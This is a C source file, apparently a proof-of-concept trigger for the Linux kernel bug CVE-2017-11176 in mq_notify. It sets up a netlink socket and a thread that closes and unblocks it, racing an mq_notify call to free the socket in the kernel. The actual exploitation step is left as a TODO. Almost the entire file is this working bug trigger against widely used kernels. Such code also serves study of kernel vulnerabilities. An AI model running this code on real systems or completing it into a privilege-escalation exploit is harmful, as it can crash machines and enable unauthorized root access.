#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <stdbool.h>
#include <errno.h>
#include <pthread.h>
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(fd, level, optname, optval, optlen) syscall(__NR_setsockopt, fd, level, optname, optval, optlen)
// #define _close(fd) syscall(__NR_close, fd)
#define NOTIFY_COOKIE_LEN 32


// SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
// char __user *, optval, int, optlen)
struct unblock_thread_arg{
    int sock_fd;
    int unblock_fd;
    bool is_ready;
};

static void *unblock_thread(void *arg){
    struct unblock_thread_arg *uta = (struct unblock_thread_arg *)arg;
    int val = 3535;

    uta->is_ready = true;
    sleep(4);
    printf("[unblock] closing %d fd.\n", uta->sock_fd);
    close(uta->sock_fd);

    printf("[unblock] unblocking now\n");
    if(_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
        perror("setsockopt");
    return NULL;
}

int main(){
    struct sigevent sigev;
    char sigval_buffer[NOTIFY_COOKIE_LEN];
    int sock_fd;
    pthread_t tid;
    struct unblock_thread_arg uta;

    printf("-= { CVE-2017-11176 } =-\n");

    if((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0){
        perror("socket");
        goto fail;
    }
    printf("netlink socket created = %d\n", sock_fd);


    uta.sock_fd = sock_fd;
    uta.unblock_fd = dup(sock_fd);
    uta.is_ready = false;

    printf("[+] sock_fd %d dup into %d.\n", uta.sock_fd, uta.unblock_fd);
    if(uta.unblock_fd < 0){
        goto fail;
    }

    printf("creating unblock thread...\n");
    if((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0){
        perror("pthread_create");
        goto fail;
    }

    while(uta.is_ready == false)
        ;
    printf("unblocking thread has been created!\n");

    printf("get ready to block\n");

    memset(&sigev, 0, sizeof(sigev));
    sigev.sigev_notify = SIGEV_THREAD; 
    sigev.sigev_value.sival_ptr = sigval_buffer;
    sigev.sigev_signo = sock_fd;

    if(_mq_notify(-1, &sigev)){
        perror("mqnotify");
        goto fail;
    }
    printf("mqnotify succeed\n");
    // TODO: exploit 
    return 0;

fail:
    printf("exploit failed!\n");
    return -1;
}
